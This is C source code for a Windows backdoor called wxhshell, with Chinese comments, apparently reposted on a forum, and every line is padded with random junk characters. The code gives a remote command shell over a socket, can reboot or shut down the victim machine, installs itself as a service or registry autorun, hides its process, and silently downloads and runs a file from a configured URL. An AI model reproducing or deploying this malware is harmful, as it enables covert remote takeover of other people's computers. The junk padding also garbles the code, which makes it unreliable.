  fbx;-He!  
  // 帮助 +poIgjq0  
  case '?': { AVevYbucB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6q  xUT  
    break; EbwZZSds1  
  } _>?8eC]4a  
  // 安装 !Pi? !  
  case 'i': { w_z^5\u0  
    if(Install()) n4r( Vg1GS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7"CH\*%  
    else ["#A-S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nE "b`  
    break; B'BbTI,  
    } *V@MAt  
  // 卸载 -) v p&-  
  case 'r': { }Bod#|`  
    if(Uninstall()) ^)0{42!]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2G:{FY  
    else K7&8 ;So  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &_%+r5  
    break; PEQvEruZ}  
    } nO.+&kA  
  // 显示 wxhshell 所在路径 ygy#^  
  case 'p': { yV]-Oa$*s0  
    char svExeFile[MAX_PATH]; `bi_)i6Low  
    strcpy(svExeFile,"\n\r"); [2j (\vC!  
      strcat(svExeFile,ExeFile); WCfe!P?g  
        send(wsh,svExeFile,strlen(svExeFile),0); ofrlTw&o  
    break; +KwF U  
    } PJ11LE  
  // 重启 RVKaqJ0e<  
  case 'b': { k s`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r0$9c  
    if(Boot(REBOOT)) VV}fW"_ND  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y88}f&z#5  
    else { "y ,(9_#  
    closesocket(wsh); \3:{LOr%*  
    ExitThread(0); y@8399;l  
    } +uGP(ONY  
    break; uA}FuOE6  
    } L!8?2 \5  
  // 关机 I(kIHjV|  
  case 'd': { "?0 G^zu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PM?Ri^55<L  
    if(Boot(SHUTDOWN)) {R8P $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b+j_EA_b  
    else { H2_>Av{m  
    closesocket(wsh); 7R`ZTfD  
    ExitThread(0); #1!BD!u  
    } u$/2XO  
    break; 0v)mgrl=,  
    } fD}]Mi:V  
  // 获取shell d@`:9 G3  
  case 's': { X'Il:SK  
    CmdShell(wsh); N*oJ$:#  
    closesocket(wsh); 9M~$W-5  
    ExitThread(0); G@I_6c E  
    break; iuk8c.TAR  
  } F1[ [fH  
  // 退出 G.E~&{5xQ  
  case 'x': { nz?BLO=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y?4=u,{C  
    CloseIt(wsh); j<-o{6r  
    break; Jz8#88cY  
    } 3bL2fsn5  
  // 离开 ;A'17B8  
  case 'q': { aTL7"Myp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <^c0bY1  
    closesocket(wsh); k.R/X  
    WSACleanup(); &$Ip$"H  
    exit(1); nPX'E`ut-V  
    break; .0;k|&eBD  
        } Us~wv"L=UX  
  } r|BKp,u9  
  } :< 3;7R'5  
lfhKZX  
  // 提示信息 \yizIo.Y`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _~&v s<  
} ZrT|~$*m`  
  } krY.Cc]  
=` >Nfa+,  
  return; =y/ Lbe}:  
} g#nsA(_L  
?Lb7~XKt\  
// shell模块句柄 4~MUc!  
int CmdShell(SOCKET sock) {YLJKu!M  
{ SL 5DWZ  
STARTUPINFO si; m`0{j1K  
ZeroMemory(&si,sizeof(si)); ]`U?<9~Ob  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1,D ^,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R,Uy3N  
PROCESS_INFORMATION ProcessInfo; dOgM9P  
char cmdline[]="cmd"; 05zdy-Fb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %pKs- n`  
  return 0; \Le #+ P  
} FOyfk$  
j~> #{"C  
// 自身启动模式 WZ-{K"56  
int StartFromService(void) T1 .@Tbbt  
{ J, U~ .c  
typedef struct Bm>(m{sX>  
{ 9e*poG  
  DWORD ExitStatus; UsKn4Kh  
  DWORD PebBaseAddress; XYVeHP!  
  DWORD AffinityMask; 2_ DtzY:=  
  DWORD BasePriority; S$:S*6M@"  
  ULONG UniqueProcessId; SvrV5X  
  ULONG InheritedFromUniqueProcessId; GgZf6~b1J  
}   PROCESS_BASIC_INFORMATION; 9:5NX3"p  
+ a@SdWf  
PROCNTQSIP NtQueryInformationProcess; NT:>.~ah@&  
ozwqK oE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {D.0_=y~2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; teALd~;  
780MSFV8  
  HANDLE             hProcess; E&v-(0  
  PROCESS_BASIC_INFORMATION pbi; #Jb$AA! z  
pDN,(Ip  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EU~'n-  
  if(NULL == hInst ) return 0; WL]'lSHa  
K?eo)|4)DB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nXW1:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i<![i5uAI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `N,Jiw;bw  
'*.};t~;"d  
  if (!NtQueryInformationProcess) return 0; 1 .k}gl0<  
SX8%F:<.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZXkAw sr  
  if(!hProcess) return 0; I9aber1  
l/M+JT~R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =~*u(0sJa  
YZD]<ptR  
  CloseHandle(hProcess); AIo;\35  
3P>@ :  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _Y~?.hs^  
if(hProcess==NULL) return 0; y['icGU6  
L1+cv;t  
HMODULE hMod; w| # 79,&  
char procName[255]; --D`YmB  
unsigned long cbNeeded; rbWFq|(_  
M](U"K?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P0<uF`87  
7MfvU|D[d/  
  CloseHandle(hProcess); ?+_"2XY  
Fv B2y8&W  
if(strstr(procName,"services")) return 1; // 以服务启动 h@8  
,+{ 43;a  
  return 0; // 注册表启动 8i"fhN3?Y  
} o!d0  
ea/6$f9^  
// 主模块 XoOe=V?I )  
int StartWxhshell(LPSTR lpCmdLine) @n3PCH6:Ao  
{ O%{>Zo_<  
  SOCKET wsl; *n\qV*|6bI  
BOOL val=TRUE; _l<"Qqt  
  int port=0; ~a Rq\fx{  
  struct sockaddr_in door; %*hBrjbj  
H2p;J#cv@  
  if(wscfg.ws_autoins) Install(); F!'"mU<f  
xCD+qP ^  
port=atoi(lpCmdLine); R/7l2*  
Pd?YS!+S  
if(port<=0) port=wscfg.ws_port; 4|UIyDt8  
P nDZi  
  WSADATA data; g;1 UZE;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t@v8>J%K  
([A;~ p;n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T9 1Iz+j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sy?W\(x  
  door.sin_family = AF_INET; VB%xV   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O jmz/W  
  door.sin_port = htons(port); x(Z@ R\C-a  
UgJHSl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7dRU7p>  
closesocket(wsl); X;0@41t'  
return 1; J/ ~]A1fP6  
} +iR ;D$w  
]0O$2j_7  
  if(listen(wsl,2) == INVALID_SOCKET) { }#1{GhsS  
closesocket(wsl); S3r\)5%;  
return 1; =v}.sJ V?  
} 1['A1 ,  
  Wxhshell(wsl); O_q_O  
  WSACleanup(); SE1 tlP  
fr7/%{s  
return 0; 6 9Cxh  
:0l(Ll KD  
} \v<}{\.|$  
( KrIMZ  
// 以NT服务方式启动 gkjZX wp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I <7K^j+5:  
{ DX|kO  
DWORD   status = 0; hG U &C]  
  DWORD   specificError = 0xfffffff; )_ y{^kn3^  
$n) w4p_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _<8y^ymo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <5 +?&i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iT5%X   
  serviceStatus.dwWin32ExitCode     = 0; pJI H_H  
  serviceStatus.dwServiceSpecificExitCode = 0; b< rM3P;  
  serviceStatus.dwCheckPoint       = 0; 4#T'Fy].  
  serviceStatus.dwWaitHint       = 0; ,^(T^ -  
>; Bhl|r~z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ptg73Gm&R  
  if (hServiceStatusHandle==0) return; mTt 9 o9E  
DRnXo-Aaj  
status = GetLastError(); f55Ev<oOa  
  if (status!=NO_ERROR) sC$X7h(Q+  
{ [O3R(`<e5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GZ%R fKyQ  
    serviceStatus.dwCheckPoint       = 0; 5D#*lMSP"'  
    serviceStatus.dwWaitHint       = 0; 8CL05:&  
    serviceStatus.dwWin32ExitCode     = status; !dGgLU_  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0-FbV,:;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *VpQ("  
    return; otOl7XF  
  } AxeWj%w@  
T'XRl@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $t]DxMd  
  serviceStatus.dwCheckPoint       = 0; R#t~i&v/  
  serviceStatus.dwWaitHint       = 0; =F`h2A;a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a7Jr} "B  
} 5]{YERa'  
;rFa I^  
// 处理NT服务事件,比如:启动、停止 >TE&myZ?*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X!@Gv:TD  
{ P>H'od  
switch(fdwControl) 6*e:ey U  
{ .C1^QY-wL  
case SERVICE_CONTROL_STOP: myYe~f4=HQ  
  serviceStatus.dwWin32ExitCode = 0; /xmd]XM=_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1osI~oNZ  
  serviceStatus.dwCheckPoint   = 0; Lh+^GQ  
  serviceStatus.dwWaitHint     = 0; 4bO7rhve  
  { D@Q|QY5qic  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @U&|38  
  } cc>h=%s`  
  return; k";;Snk  
case SERVICE_CONTROL_PAUSE: eRf 8'-"#-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2XE4w# [j  
  break; \nLO.,  
case SERVICE_CONTROL_CONTINUE: N\p3*#M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9(C Ke,  
  break; @=9QV3D  
case SERVICE_CONTROL_INTERROGATE: P -Pt{:  
  break; ~6OdPD  
}; ZK;HW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k~?@~xm,R  
} p%?R;W`u2  
PBUc9/  
// 标准应用程序主函数 4fN<pG,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -0W;b"]+A  
{ 29E^]IL?  
5%Q!R%  
// 获取操作系统版本 =IUTU4!]  
OsIsNt=GetOsVer(); ur'A;B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $FAl9  
q[+];  
  // 从命令行安装 Z6Mh`:7  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]@'YlPU  
ak'RV*>mT  
  // 下载执行文件 $`uL^ hlj]  
if(wscfg.ws_downexe) { #R)$nv:h?^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2sXWeiJy;  
  WinExec(wscfg.ws_filenam,SW_HIDE); EZ$m4: {e  
} m\Dbb.vBvW  
K <0ItN v  
if(!OsIsNt) { Q%85,L^U  
// 如果时win9x,隐藏进程并且设置为注册表启动 K(_nfE{  
HideProc(); G6I>Ry[2?  
StartWxhshell(lpCmdLine); b&!X#3(KT  
} Ly^r8I  
else {6n B83BB  
  if(StartFromService()) X&K1>dgWP  
  // 以服务方式启动 nTLdknh"  
  StartServiceCtrlDispatcher(DispatchTable); l9-(ofY*J  
else 6@bO3K|  
  // 普通方式启动 x1TB (^aX  
  StartWxhshell(lpCmdLine); S3 &L  
#t;@x_2yD\  
return 0; /N~.,vf  
}
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只看该作者 1 发表于: 2006-10-10
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